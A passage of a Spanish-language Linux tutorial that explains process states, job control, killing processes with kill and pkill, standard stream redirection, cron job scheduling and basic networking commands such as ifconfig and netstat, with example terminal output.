estados del proceso</h4><p>Los procesos en Linux asumen distintos estados durante sus ciclos de vida. El estado de un proceso indica que está haciendo actualmente el proceso y cómo interactúan con el sistema. La transición de procesos entre estados basados en su estado de ejecución y el algoritmo de programación del sistema.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719584116150/3054dfe2-c42c-4d62-9e12-e3aec479d53a.png" class="kg-image" alt="Linux process states and transitions" width="1079" height="742" loading="lazy"></figure><p>Los procesos en un sistema Linux puede ser uno de los siguientes estados:</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>Estado</strong></th>
<th><strong>Descripción</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>(new)</strong></td>
<td>El estado inicial cuando un proceso es creado por medio de una llamada del sistema fork.</td>
</tr>
<tr>
<td><strong>Runnable (ready) (R)</strong></td>
<td>El proceso está listo para ejecutarse y esperando a ser programado en una CPU.</td>
</tr>
<tr>
<td><strong>Running (user) (R)</strong></td>
<td>El proceso se ejecuta en modo usuario, ejecutando aplicaciones de usuario.</td>
</tr>
<tr>
<td><strong>Running (kernel) (R)</strong></td>
<td>El proceso se ejecuta en modo kernel, manejando las llamadas de sistema o interrupciones de hardware.</td>
</tr>
<tr>
<td><strong>Sleeping (S)</strong></td>
<td>El proceso está esperando un evento (por ejemplo, operaciones I/O) para completar y puede ser fácilmente despertado.</td>
</tr>
<tr>
<td><strong>Sleeping (uninterruptible) (D)</strong></td>
<td>El proceso está en un estado de sueño ininterruptible, esperando una condición específica (usualmente I/O) que se complete, y no puede ser interrumpido por señales.</td>
</tr>
<tr>
<td><strong>Sleeping (disk sleep) (K)</strong></td>
<td>El proceso está esperando que las operaciones I/O de disco se completen.</td>
</tr>
<tr>
<td><strong>Sleeping (idle) (I)</strong></td>
<td>El proceso está inactivo, no haciendo ningún trabajo, y esperando que un evento ocurra.</td>
</tr>
<tr>
<td><strong>Stopped (T)</strong></td>
<td>La ejecución del proceso ha sido detenido, típicamente por una señal, y puede ser reanudado luego.</td>
</tr>
<tr>
<td><strong>Zombie (Z)</strong></td>
<td>El proceso tiene la ejecución completada pero todavía tiene una entrada en la tabla del proceso, esperando que su antecesor lea su estado de salida.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p>La transición de los procesos entre estos estados de las siguientes formas:</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>Transición</strong></th>
<th><strong>Descripción</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Fork</strong></td>
<td>Crea un nuevo proceso desde un proceso antecesor, transicionando de (new) a Runnable (ready) (R).</td>
</tr>
<tr>
<td><strong>Schedule</strong></td>
<td>El scheduler selecciona un proceso ejecutable, transicionándolo del estado Running (user) o Running (kernel).</td>
</tr>
<tr>
<td><strong>Run</strong></td>
<td>Las transiciones de proceso desde Runnable (ready) (R) a Running (kernel) (R) cuando se programa para ejecución.</td>
</tr>
<tr>
<td><strong>Preempt or Reschedule</strong></td>
<td>El proceso puede ser preempted o reprogramado, moviéndolo nuevamente al estado Runnable (ready) (R).</td>
</tr>
<tr>
<td><strong>Syscall</strong></td>
<td>El proceso hace una llamada de sistema, transicionando de Running (user) (R) a Running (kernel) (R).</td>
</tr>
<tr>
<td><strong>Return</strong></td>
<td>El proceso completa una llamada de sistema y regresa a Running (user) (R).</td>
</tr>
<tr>
<td><strong>Wait</strong></td>
<td>El proceso espera un evento, transicionando de Running (kernel) (R) a uno de los estados de sueño (S, D, K, or I).</td>
</tr>
<tr>
<td><strong>Event o Signal</strong></td>
<td>El proceso se despierta por un evento o señal, cambiándolo de un estado de sueño devuelta a Runnable (ready) (R).</td>
</tr>
<tr>
<td><strong>Suspend</strong></td>
<td>Process is suspended, transitioning from Running (kernel) or Runnable (ready) to Stopped (T).</td>
</tr>
<tr>
<td><strong>Resume</strong></td>
<td>El proceso se reanuda, cambiando de Stopped (T) devuelta a Runnable (ready) (R).</td>
</tr>
<tr>
<td><strong>Exit</strong></td>
<td>El proceso termina, transicionando de Running (user) o Running (kernel) a Zombie (Z).</td>
</tr>
<tr>
<td><strong>Reap</strong></td>
<td>El proceso antecesor lee el estado de salida del proceso zombie, quitándolo de la tabla de proceso.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><h4 id="c-mo-ver-los-procesos">Cómo ver los procesos</h4><p>Puedes usar el comando <code>ps</code> juntamente con una combinación de opciones para ver los procesos en un sistema Linux. El comando <code>ps</code> se usado para mostrar información sobre una selección de procesos activos. Por ejemplo, <code>ps aux</code> muestra todos los procesos que se ejecutan en el sistema.</p><pre><code class="language-bash">zaira@zaira:~$ ps aux
# Salida
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0 168140 11352 ?        Ss   May21   0:18 /sbin/init splash
root           2  0.0  0.0      0     0 ?        S    May21   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I&lt;   May21   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I&lt;   May21   0:00 [rcu_par_gp]
root           5  0.0  0.0      0     0 ?        I&lt;   May21   0:00 [slub_flushwq]
root           6  0.0  0.0      0     0 ?        I&lt;   May21   0:00 [netns]
root          11  0.0  0.0      0     0 ?        I&lt;   May21   0:00 [mm_percpu_wq]
root          12  0.0  0.0      0     0 ?        I    May21   0:00 [rcu_tasks_kthread]
root          13  0.0  0.0      0     0 ?        I    May21   0:00 [rcu_tasks_rude_kthread]
*... output truncated ....*
</code></pre><p>La salida de arriba muestra un instantáneo de los procesos actuales en ejecución del sistema. Cada fila representa un proceso con las siguientes columnas:</p><ol><li><code>USER</code>: El usuario quien posee el proceso.</li><li><code>PID</code>: El ID del proceso.</li><li><code>%CPU</code>: El uso del CPU del proceso.</li><li><code>%MEM</code>: El uso de memoria del proceso.</li><li><code>VSZ</code>: El tamaño de la memoria virtual del proceso.</li><li><code>RSS</code>: El tamaño del conjunto residente, que es la memoria física no intercambiada que una tarea ha usado.</li><li><code>TTY</code>: La terminal de control del proceso. Un <code>?</code> indica una terminal de sin control.</li><li><code>STAT</code>: El estado del proceso.</li></ol><ul><li><code>R</code>: Running (ejecutando)</li><li><code>I</code> o <code>S</code>: Sueño interrumpible (esperando que un evento se complete)</li><li><code>D</code>: Sueño ininterrumpible (usualmente IO)</li><li><code>T</code>: Detenido (sea por una señal de control de un trabajo o porque está siendo trazado)</li><li><code>Z</code>: Zombie (terminado pero no repetido por su padre)</li><li><code>Ss</code>: Líder de sesión. Este es un proceso que ha comenzado una sesión, y es un líder de un grupo de procesos y puede controlar señales de la terminal. El primer <code>S</code> indica el estado de dormir, y el segundo <code>s</code> indica que es un líder de sesión.</li></ul><ol><li><code>START</code>: El tiempo de comienzo o fecha del proceso.</li><li><code>TIME</code>: El tiempo de CPU acumulativo.</li><li><code>COMMAND</code>: El comando que comenzó el proceso.</li></ol><h4 id="procesos-de-segundo-y-primer-plano">Procesos de segundo y primer plano</h4><p>En esta sección, aprenderás cómo puedes controlar trabajas al ejecutarlos en segundo o primer plano.</p><p>Un trabajo (job) es un proceso que comienza por una shell. Cuando ejecutas un comando en la terminal, se considera un trabajo. Un trabajo puede ejecutarse en primer o segundo plano.</p><p>Para demostrar el control, primero crearás 3 procesos y luego los ejecutarás en segundo plano. Después de eso, listarás los procesos y los alternarás entre primer y segundo plano. Verás cómo se los pone a dormir o salir completamente.</p><ol><li>Crea tres procesos</li></ol><p>Abre una terminal y comienza tres procesos de larga duración. usa el comando <code>sleep</code>, que mantiene el proceso ejecutándose por un número especificado de segundos.</p><pre><code class="language-bash"># ejecuta el comando sleep por 300, 400, y 500 segundos
sleep 300 &amp;
sleep 400 &amp;
sleep 500 &amp;
</code></pre><p>El <code>&amp;</code> al final de cada comando mueve el proceso a segundo plano.</p><p>2. &nbsp; Muestra trabajos en segundo plano</p><p>Usa el comando <code>jobs</code> para mostrar la lista de trabajos en segundo plano.</p><pre><code class="language-bash">jobs
</code></pre><p>La salida debería verse así:</p><pre><code class="language-bash">jobs
[1]   Running                 sleep 300 &amp;
[2]-  Running                 sleep 400 &amp;
[3]+  Running                 sleep 500 &amp;
</code></pre><p>3. &nbsp; Traer un trabajo en segundo plano a primer plano</p><p>Para traer un trabajo en segundo plano al primer plano, usa el comando <code>fg</code> seguido del número del trabajo. Por ejemplo, para traer el primer trabajo (<code>sleep 300</code>) al primer plano:</p><pre><code class="language-bash">fg %1
</code></pre><p>Esto traerá el trabajo <code>1</code> al primer plano.</p><p>4. &nbsp; Mueve el trabajo en primero plano nuevamente a segundo plano</p><p>Mientras el trabajo se ejecuta en el primer plano, puedes suspenderlo y llevarlo nuevamente al segundo plano al presionar <code>Ctrl+Z</code> para suspender el trabajo.</p><p>Un trabajo suspendido se verás de esta forma:</p><pre><code class="language-bash">zaira@zaira:~$ fg %1
sleep 300

^Z
[1]+  Stopped                 sleep 300

zaira@zaira:~$ jobs
# trabajo suspendido 
[1]+  Stopped                 sleep 300
[2]   Running                 sleep 400 &amp;
[3]-  Running                 sleep 500 &amp;
</code></pre><p>Ahora usa el comando <code>bg</code> para reanudar el trabajo con ID 1 en el segundo plano.</p><pre><code class="language-bash"># Presiona Ctrl+Z para suspender el trabajo de primer plano
# Luego, reanúdalo en segundo plano
bg %1
</code></pre><ol><li>Muestra los trabajos nuevamente</li></ol><pre><code class="language-bash">jobs
[1]   Running                 sleep 300 &amp;
[2]-  Running                 sleep 400 &amp;
[3]+  Running                 sleep 500 &amp;
</code></pre><p>En este ejercicio, vos:</p><ul><li>Comenzaste tres proceso en segundo plano usando comandos sleep.</li><li>Usaste trabajos para mostrar la lista de trabajos en segundo plano.</li><li>Trajiste un trabajo a primer plano con <code>fg %job_number</code>.</li><li>Suspendiste el trabajo con <code>Ctrl+Z</code> y lo regresaste al segundo plano con <code>bg %job_number</code>.</li><li>Usaste los trabajos nuevamente para verificar el estado de los trabajos en segundo plano.</li></ul><p>Ahora sanes cómo controlar los trabajos.</p><h4 id="matando-procesos">Matando procesos</h4><p>Es posible terminar un proceso que no responde o no querido usando el comando <code>kill</code>. El comando <code>kill</code> envía una señal a un ID de proceso, pidiéndole que termine.</p><p>Un número de opciones están disponibles con el comando <code>kill</code>.</p><pre><code class="language-bash"># Opciones disponibles con kill

kill -l
 1) SIGHUP     2) SIGINT     3) SIGQUIT     4) SIGILL     5) SIGTRAP
 6) SIGABRT     7) SIGBUS     8) SIGFPE     9) SIGKILL    10) SIGUSR1
11) SIGSEGV    12) SIGUSR2    13) SIGPIPE    14) SIGALRM    15) SIGTERM
16) SIGSTKFLT    17) SIGCHLD    18) SIGCONT    19) SIGSTOP    20) SIGTSTP
21) SIGTTIN    22) SIGTTOU    23) SIGURG    24) 
...terminated
</code></pre><p>Aquí hay algunos ejemplos del comando <code>kill</code> en Linux:</p><p><strong>Matar un proceso por PID (ID del proceso):</strong></p><pre><code class="language-bash"> kill 1234
</code></pre><p>Este comando envía la señal <code>SIGTERM</code> predeterminada al proceso con un PID de 1234, solicitándole que termine.</p><p><strong>Matar un proceso por nombre:</strong></p><pre><code class="language-bash"> pkill process_name
</code></pre><p>Este comando envía la señal <code>SIGTERM</code> predeterminada a todos los procesos con el nombre especificado.</p><p><strong>Matar un proceso a la fuerza:</strong></p><pre><code class="language-bash"> kill -9 1234
</code></pre><p>Este comando envía la señal <code>SIGKILL</code> al proceso con el PID 1234, terminándolo a la fuerza.</p><p><strong>Envía una señal específica a un proceso:</strong></p><pre><code class="language-bash"> kill -s SIGSTOP 1234
</code></pre><p>Este comando envía la señal <code>SIGSTOP</code> al proceso con el PID 1234, deteniéndolo.</p><p><strong>Matar a todos los procesos que pertenecen a un usuario específico:</strong></p><pre><code class="language-bash"> pkill -u username
</code></pre><p>Este comando envía la señal <code>SIGTERM</code> predeterminada a todos los procesos que pertenecen al usuario especificado.</p><p>Estos ejemplos demuestran varias formas de usar el comando <code>kill</code> para gestionar procesos en un entorno de Linux.</p><p>Aquí esta la información sobre las opciones &nbsp;y señales del comando <code>kill</code> de una forma tabular: Esta tabla resumen las opciones y señales más comunes del comando <code>kill</code> usados para gestionar los procesos.</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th>Comando / Opción</th>
<th>Señal</th>
<th>Descripción</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>kill &lt;pid&gt;</code></td>
<td><code>SIGTERM</code></td>
<td>Solicita al proceso que termina correctamente (señal predeterminada).</td>
</tr>
<tr>
<td><code>kill -9 &lt;pid&gt;</code></td>
<td><code>SIGKILL</code></td>
<td>Forza al proceso que termine inmediatamente sin limpiar.</td>
</tr>
<tr>
<td><code>kill -SIGKILL &lt;pid&gt;</code></td>
<td><code>SIGKILL</code></td>
<td>Forza al proceso que termine inmediatamente sin limpiar.</td>
</tr>
<tr>
<td><code>kill -15 &lt;pid&gt;</code></td>
<td><code>SIGTERM</code></td>
<td>Envía explícitamente la señal <code>SIGTERM</code> para solicitar la terminación correcta.</td>
</tr>
<tr>
<td><code>kill -SIGTERM &lt;pid&gt;</code></td>
<td><code>SIGTERM</code></td>
<td>Envía explícitamente la señal <code>SIGTERM</code> para solicitar la terminación correcta.</td>
</tr>
<tr>
<td><code>kill -1 &lt;pid&gt;</code></td>
<td><code>SIGHUP</code></td>
<td>Tradicionalmente significa "colgarse"; puede ser usado para recargar archivos de configuración.</td>
</tr>
<tr>
<td><code>kill -SIGHUP &lt;pid&gt;</code></td>
<td><code>SIGHUP</code></td>
<td>Tradicionalmente significa "colgarse"; puede ser usado para recargar archivos de configuración.</td>
</tr>
<tr>
<td><code>kill -2 &lt;pid&gt;</code></td>
<td><code>SIGINT</code></td>
<td>Solicita al proceso que termine (lo mismo que presionar <code>Ctrl+C</code> en la terminal).</td>
</tr>
<tr>
<td><code>kill -SIGINT &lt;pid&gt;</code></td>
<td><code>SIGINT</code></td>
<td>Solicita al proceso que termine (lo mismo que presione <code>Ctrl+C</code> en la terminal).</td>
</tr>
<tr>
<td><code>kill -3 &lt;pid&gt;</code></td>
<td><code>SIGQUIT</code></td>
<td>Hace que el proceso termine y produzca un core dump para depuración.</td>
</tr>
<tr>
<td><code>kill -SIGQUIT &lt;pid&gt;</code></td>
<td><code>SIGQUIT</code></td>
<td>Hace que el proceso termine y produzca un core dump para depuración.</td>
</tr>
<tr>
<td><code>kill -19 &lt;pid&gt;</code></td>
<td><code>SIGSTOP</code></td>
<td>Pausa el proceso.</td>
</tr>
<tr>
<td><code>kill -SIGSTOP &lt;pid&gt;</code></td>
<td><code>SIGSTOP</code></td>
<td>Pausa el proceso.</td>
</tr>
<tr>
<td><code>kill -18 &lt;pid&gt;</code></td>
<td><code>SIGCONT</code></td>
<td>Reanuda un proceso pausado.</td>
</tr>
<tr>
<td><code>kill -SIGCONT &lt;pid&gt;</code></td>
<td><code>SIGCONT</code></td>
<td>Reanuda un proceso pausado.</td>
</tr>
<tr>
<td><code>killall &lt;nombre&gt;</code></td>
<td>Varios</td>
<td>Envía una señal a todos los procesos con el nombre provisto.</td>
</tr>
<tr>
<td><code>killall -9 &lt;nombre&gt;</code></td>
<td><code>SIGKILL</code></td>
<td>Forza que mate a todos los procesos con el nombre provisto.</td>
</tr>
<tr>
<td><code>pkill &lt;patron&gt;</code></td>
<td>Varios</td>
<td>Envía una señal a los procesos basado en una coincidencia de patrón.</td>
</tr>
<tr>
<td><code>pkill -9 &lt;patron&gt;</code></td>
<td><code>SIGKILL</code></td>
<td>Forza que mate a todos los procesos que coincida con el patrón.</td>
</tr>
<tr>
<td><code>xkill</code></td>
<td><code>SIGKILL</code></td>
<td>Utilidad gráfica que permite hacer clic en una ventana para que mate al proceso correspondiente.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="flujos-entrada-y-salida-estandar-en-linux">8.5. Flujos de Entrada y Salida Estándar en Linux</h3><!--kg-card-end: html--><p>Leer una entrada y escribir una entrada es una parte esencial de entender la línea de comandos y la programación de scripts. En Linux, cada proceso tiene tres flujos predeterminados:</p><p>Entrada Estándar (<code>stdin</code>): Este flujo se usa para entradas, típicamente desde el teclado. Cuando un programa lee desde el <code>stdin</code>, recibe datos ingresados por el usuario o redireccionado desde un archivo. Un descriptor de archivo es un identificador único que el sistema operativo asigna a un archivo abierto para mantener un rastro de archivos abiertos.</p><p>El descriptor de archivo para <code>stdin</code> es <code>0</code>.</p><p>Salida Estándar (<code>stdout</code>): Este es el flujo de salida predeterminado donde un proceso escribe su salida. Por defecto, la salida estándar es la terminal. La salida también puede ser redireccionado a un archivo u otro programa. El descriptor de archivo para <code>stdout</code> es <code>1</code>.</p><p>Error Estándar (<code>stderr</code>): Este es el flujo de error estándar donde un proceso escribe sus mensajes de error. Por defecto, el error estándar es la terminal, permitiendo que los mensajes de error sea visto inclusive si <code>stdout</code> es redireccionado. El descriptor de archivo para <code>stderr</code> es <code>2</code>.</p><h4 id="redirecci-n-y-tuber-as">Redirección y Tuberías</h4><p><strong>Redirección:</strong> Puedes redireccionar el error y los flujos de salida a los archivos u otros comandos. Por ejemplo:</p><pre><code class="language-bash"># Redireccionando stdout a un archivo
ls &gt; output.txt

# Redireccionando stderr a un archivo
ls non_existent_directory 2&gt; error.txt

# Redireccionando stdout y stderr a un archivo
ls non_existent_directory &gt; all_output.txt 2&gt;&amp;1
</code></pre><p>En el último comando,</p><ul><li><code>ls non_existent_directory</code>: lista los contenidos de una carpeta llamada non_existent_directory. Ya que esta carpeta no existe, <code>ls</code> generará un mensaje de error.</li><li><code>&gt; all_output.txt</code>: El operador <code>&gt;</code> redirecciona la salida estándar (<code>stdout</code>) del comando <code>ls</code> al archivo <code>all_output.txt</code>. Si el archivo no existe, será creado. Si existe, su contenido será sobrescrito.</li><li><code>2&gt;&amp;1:</code>: Aquí, <code>2</code> representa el descriptor del archivo para el error estándar (<code>stderr</code>). <code>&amp;1</code> representa el descriptor del archivo para la salida estándar (<code>stdout</code>). El caracter <code>&amp;</code> se usa para especificar que <code>1</code> no es el nombre del archivo sino un descriptor del archivo.</li></ul><p>Así que, <code>2&gt;&amp;1</code> significa "redirecciona stderr (2) a donde sea que stdout (1) esté yendo actualmente", el cual en este caso es el archivo <code>all_output.txt</code>. Por lo tanto, la salida (si hay uno) y el mensaje de error de <code>ls</code> será escrito a <code>all_output.txt</code>.</p><p><strong>Tuberías:</strong></p><p>Puedes usar tuberías (<code>|</code>) para pasar la salida de un comando como la entrada a otro:</p><pre><code class="language-bash">ls | grep image
# Salida
image-10.png
image-11.png
image-12.png
image-13.png
... Output truncated ...
</code></pre><!--kg-card-begin: html--><h3 id="automatizacion-linux-automatizar-tareas-cron-jobs">8.6 Automatización en Linux – Automatizar Tareas con Tareas de Cron</h3><!--kg-card-end: html--><p>Cron es una utilidad poderosa para programar trabajos que está disponible en sistemas operativos de Unix. Al configurar un cron, puedes configurar trabajos automatizados para ejecutar diariamente, mensualmente, u otro tiempo específico. Las capacidades de automatización provisto por cron juega un rol crucial en la administración de sistema de Linux.</p><p>El <a href="https://es.wikipedia.org/wiki/Daemon_(inform%C3%A1tica)">daemon</a> <code>crond</code> (un tipo de programa de computadora que se ejecuta en segundo plano) permite la funcionalidad de cron. El cron lee el <strong>crontab</strong> (tablas de cron) para ejecutar scripts predefinidos.</p><p>Al usar una sintaxis específica, puedes configurar un trabajo cron para programar scripts u otros comandos para ejecutarlos automáticamente.</p><p><strong>¿Qué son los trabajos cron en Linux?</strong></p><p>Cualquier tarea que programes a través de crons se llama un trabajo de cron.</p><p>Ahora, veamos cómo los trabajos de cron funcionan.</p><h4 id="c-mo-controlar-el-acceso-a-los-crons">Cómo controlar el acceso a los crons</h4><p>Para usar los trabajos de cron, un administrador necesita permitir a los trabajos de cron que sean agregados para los usuarios en el archivo <code>/etc/cron.allow</code>.</p><p>Si obtienes un mensaje como este, significa que no tienes permiso para usar cron.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2021/11/image-51.png" class="kg-image" alt="Cron job addition denied for user John." width="600" height="400" loading="lazy"></figure><p>Para permitir a John que use crons, incluye su nombre en <code>/etc/cron.allow</code>. Crea el archivo si no existe. Esto permitirá a John que cree y edite trabajos de cron.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2021/11/image-52.png" class="kg-image" alt="Allowing John in file cron.allow" width="600" height="400" loading="lazy"></figure><p>Los usuarios también se les puede denegar el acceso a trabajos de cron al ingresar sus nombres de usuario en el archivo <code>/etc/cron.d/cron.deny</code>.</p><h4 id="c-mo-agrega-trabajos-de-cron-en-linux">Cómo agrega trabajos de cron en Linux</h4><p>Primero, para usar los trabajos de cron, necesitarás verificar el estado del servicio de cron. Si cron no está instalado, puedes descargarlo fácilmente a través del gestor de paquetes. Solo usa esto para verificar:</p><pre><code class="language-bash"># Check cron service on Linux system
sudo systemctl status cron.service
</code></pre><h4 id="sintaxis-de-trabajos-de-cron">Sintaxis de trabajos de Cron</h4><p>Los crontabs usan los siguientes argumentos para agregar y listar trabajos de cron:</p><ul><li><code>crontab -e</code>: edita las entradas de crontab para agregar, eliminar, o editar trabajos de cron.</li><li><code>crontab -l</code>: listar todos los trabajos de cron para el usuario actual.</li><li><code>crontab -u nombre-usuario -l</code>: lista los crons de otro usuario.</li><li><code>crontab -u nombre-usuario -e</code>: edita los crons de otro usuario.</li></ul><p>Cuando listas los crons y existen, verás algo como esto:</p><pre><code class="language-bash"># Cron job example
* * * * * sh /path/to/script.sh
</code></pre><p>En el ejemplo de arriba,</p><ul><li><code>*</code> representa minuto(s) hora(s) día(s) mes(es) semana(s), respectivamente. Ve los detalles de estos valores abajo:</li></ul><!--kg-card-begin: html--><table>
<thead>
<tr>
<th></th>
<th><strong>VALOR</strong></th>
<th><strong>DESCRIPCIÓN</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Minutos</td>
<td>0-59</td>
<td>El comando será ejecutado en el minuto específico.</td>
</tr>
<tr>
<td>Horas</td>
<td>0-23</td>
<td>El comando será ejecutado en la hora específica.</td>
</tr>
<tr>
<td>Días</td>
<td>1-31</td>
<td>Los comandos serán ejecutados en estos días de los meses.</td>
</tr>
<tr>
<td>Meses</td>
<td>1-12</td>
<td>El mes en el que las tareas necesitan ser ejecutados.</td>
</tr>
<tr>
<td>Días de la semana</td>
<td>0-6</td>
<td>Días de la semana donde los comandos se ejecutarán. Aquí, 0 es Domingo.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><ul><li><code>sh</code> representa que el script es un script de bash y debería ser ejecutado desde <code>/bin/bash</code>.</li><li><code>/path/to/script.sh</code> especifica la ruta al script.</li></ul><p>Abajo hay un resumen de la sintaxis de los trabajos de cron:</p><pre><code class="language-markdown">*   *   *   *   *  sh /path/to/script/script.sh
|   |   |   |   |              |
|   |   |   |   |      Comando o Script a ejecutarse        
|   |   |   |   |
|   |   |   |   |
|   |   |   |   |
|   |   |   | Día de la Semana(0-6)
|   |   |   |
|   |   | Mes del Año(1-12)
|   |   |
|   | Día del Mes(1-31)  
|   |
| Hora(0-23)  
|
Min(0-59)
</code></pre><h4 id="ejemplos-de-trabajos-de-cron">Ejemplos de Trabajos de Cron</h4><p>Abajo hay algunos ejemplos de programación de trabajos de cron.</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>PROGRAMACIÓN</strong></th>
<th><strong>VALOR DE LA PROGRAMACIÓN</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>5 0 * 8 *</code></td>
<td>A las 00:05 en Agosto.</td>
</tr>
<tr>
<td><code>5 4 * * 6</code></td>
<td>A las 04:05 el Sábado.</td>
</tr>
<tr>
<td><code>0 22 * * 1-5</code></td>
<td>A las 22:00 cada día de la semana desde Lunes hasta Viernes.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p>No hay problema si no logras comprender todo esto de una vez. Puedes practicar y generar cronogramas con el sitio web <a href="https://crontab.guru/">crontab guru</a>.</p><h4 id="c-mo-configurar-un-trabajo-cron">Cómo configurar un trabajo cron</h4><p>En esta sección, veremos un ejemplo de cómo programar un script sencillo con un trabajo cron.</p><ol><li>Crea un script llamado <code>date-script.sh</code> el cual imprime la fecha y hora del sistema y lo adjunta a un archivo. El script se muestra abajo:</li></ol><pre><code class="language-bash">#!/bin/bash

echo `date` &gt;&gt; date-out.txt
</code></pre><p>2. &nbsp; Haz que el script sea ejecutable al darle derechos de ejecución.</p><pre><code class="language-bash">chmod 775 date-script.sh
</code></pre><p>3. &nbsp; Agrega el script en el crontab usando <code>crontab -e</code>.</p><p>Aquí, lo hemos programado para que se ejecute por minuto.</p><pre><code class="language-bash">*/1 * * * * /bin/sh /root/date-script.sh
</code></pre><p>4. &nbsp; Verifica la salida del archivo <code>date-out.txt</code>. Según el script, la fecha del sistema debería ser impreso a este archivo cada minuto.</p><pre><code class="language-bash">cat date-out.txt
# Salida
Wed 26 Jun 16:59:33 PKT 2024
Wed 26 Jun 17:00:01 PKT 2024
Wed 26 Jun 17:01:01 PKT 2024
Wed 26 Jun 17:02:01 PKT 2024
Wed 26 Jun 17:03:01 PKT 2024
Wed 26 Jun 17:04:01 PKT 2024
Wed 26 Jun 17:05:01 PKT 2024
Wed 26 Jun 17:06:01 PKT 2024
Wed 26 Jun 17:07:01 PKT 2024
</code></pre><p><strong>Cómo solucionar problemas de crons</strong></p><p>Los crons son realmente útiles, pero no podrían funcionar siempre como se espera. Afortunadamente, hay algunos métodos efectivos que puedes usar para solucionar problemas.</p><p><strong>1. Verifica la programación.</strong></p><p>Primero, puedes intentar verificar la programación que fue hecho para el cron. Puedes hacer eso con la sintaxis que viste en las secciones de arriba.</p><p><strong>2</strong>. <strong>Verificar archivos log de cron.</strong></p><p>Primero, necesita verificar si el con se ha ejecutado en el tiempo previsto o no. En Ubuntu, puedes verificarlo desde los logs de cron localizado en <code>/var/log/syslog</code>.</p><p>Si hay una entrada en estos logs en el tiempo correcto, significa que el cron se ha ejecutado según la planificación que estableciste.</p><p>Abajo están los logs de nuestro ejemplo de un trabajo de cron. Fíjate que la primer columna el cual muestra la marca de tiempo. La ruta del script también se menciona al final de la línea. Línea #1, 3, y 5 muestra que el script se ejecutó como se esperaba.</p><pre><code class="language-bash">1 Jun 26 17:02:01 zaira-ThinkPad CRON[27834]: (zaira) CMD (/bin/sh /home/zaira/date-script.sh)
2 Jun 26 17:02:02 zaira-ThinkPad systemd[2094]: Started Tracker metadata extractor.
3 Jun 26 17:03:01 zaira-ThinkPad CRON[28255]: (zaira) CMD (/bin/sh /home/zaira/date-script.sh)
4 Jun 26 17:03:02 zaira-ThinkPad systemd[2094]: Started Tracker metadata extractor.
5 Jun 26 17:04:01 zaira-ThinkPad CRON[28538]: (zaira) CMD (/bin/sh /home/zaira/date-script.sh)
</code></pre><p><strong>3. Redireccionar la salida del cron a un archivo.</strong></p><p>Puedes redireccionar una salida del cron a un archivo y verificar si el archivo tiene algún error posible.</p><pre><code class="language-bash"># Redirige la salida de cron a un archivo
* * * * * sh /path/to/script.sh &amp;&gt; log_file.log
</code></pre><!--kg-card-begin: html--><h3 id="conceptos-basicos-de-redes-de-linux">8.7. Conceptos Básicos de Redes de Linux</h3><!--kg-card-end: html--><p>Linux ofrece un número de comandos para ver la información relacionado a la red. En esta sección discutiremos brevemente algunos de los comandos.</p><h4 id="ver-interfaces-de-red-con-ifconfig">Ver interfaces de red con <code>ifconfig</code></h4><p>El comando <code>ifconfig</code> provee información sobre las interfaces de red. Aquí hay un ejemplo de salida:</p><pre><code class="language-bash">ifconfig

# Salida
eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 192.168.1.100  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:fe4e:66a1  prefixlen 64  scopeid 0x20&lt;link&gt;
        ether 08:00:27:4e:66:a1  txqueuelen 1000  (Ethernet)
        RX packets 1024  bytes 654321 (654.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 512  bytes 123456 (123.4 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 256  bytes 20480 (20.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 256  bytes 20480 (20.4 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
</code></pre><p>La salida del comando <code>ifconfig</code> muestra las interfaces de red configurados en el sistema, juntamente con detalles tales como direcciones IP, direcciones MAC, estadísticas de paquetes, y más.</p><p>Estas interfaces pueden ser dispositivos físicos o virtuales.</p><p>Para extraer las direcciones IPv4 y IPv6, puedes usar <code>ip -4 addr</code> y <code>ip -6 addr</code>, respectivamente.</p><p><strong>Ver la actividad de red con</strong> <code>netstat</code></p><p>El comando <code>netstat</code> muestra las estadísticas y la actividad de la red al dar la siguiente información:</p><p>Aquí hay algunos ejemplos al usar el comando <code>netstat</code> en la línea de comandos:</p><p><strong>Muestra todos los sockets de escucha y no escucha:</strong></p><pre><code class="language-bash"> netstat -a
</code></pre><p><strong>Muestra solamente los puertos en escucha:</strong></p><pre><code class="language-bash"> netstat -l
</code></pre><p><strong>Muestra las estadísticas de red:</strong></p><pre><code class="language-bash"> netstat -s
</code></pre><p><strong>Muestra la tabla de enrutamiento:</strong></p><pre><code class="language-bash"> netstat -r
</code></pre><p><strong>Muestra las conexiones TCP:</strong></p><pre><code class="language-bash"> netstat -t
</code></pre><p><strong>Muestra las conexiones UDP:</strong></p><pre><code class="language-bash"> netstat -u
